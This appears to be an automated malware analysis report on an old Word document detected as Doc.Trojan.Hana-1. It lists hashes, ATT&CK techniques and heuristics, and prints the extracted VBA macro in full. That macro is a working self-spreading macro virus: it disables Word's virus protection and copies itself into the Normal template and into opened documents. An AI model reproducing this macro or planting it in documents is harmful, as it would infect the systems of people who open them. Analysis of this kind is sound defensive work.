Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 944839ce43d25270…

MALICIOUS

Office (OLE)

40.5 KB Created: 1998-12-12 05:45:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 8fc12bf976dd3a1216326a00dcc11b69 SHA-1: 3f6abd360f9bada581a67d7b5873886cc10b0fc6 SHA-256: 944839ce43d2527097416722e66511551a75731fc54d6532368a2cc5309e7c01
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1566.001 Spearphishing Attachment

The sample is a malicious Word document containing a VBA macro named 'AutoOpen'. This macro attempts to copy itself to the Normal.dot template and then save the active document as a template, which is a common technique for establishing persistence or distributing malware. The ClamAV detection 'Doc.Trojan.Hana-1' further supports its malicious nature.

Heuristics 4

  • ClamAV: Doc.Trojan.Hana-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Hana-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1104 bytes
SHA-256: 293386a77f1ac4f621e316e17720c593480d7dd6a60b10afaa144c29b840535c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub AutoOpen()
Attribute AutoOpen.VB_Description = "Макрос создан 25.04.99 Duke // SMF"
Attribute AutoOpen.VB_ProcData.VB_Invoke_Func = "Normal.NewMacros.AutoOpen"
  On Error GoTo Hana

  Application.ScreenUpdating = False
  Application.DisplayAlerts = wdAlertsNone
  WordBasic.DisableAutoMacros 0
  Options.VirusProtection = False

  Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="Hana", Object:=wdOrganizerObjectProjectItems
  Options.SaveNormalPrompt = False

  Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="Hana", Object:=wdOrganizerObjectProjectItems
  ActiveDocument.SaveAs FileName:=ActiveDocument.Name, FileFormat:=wdFormatTemplate

Hana:

End Sub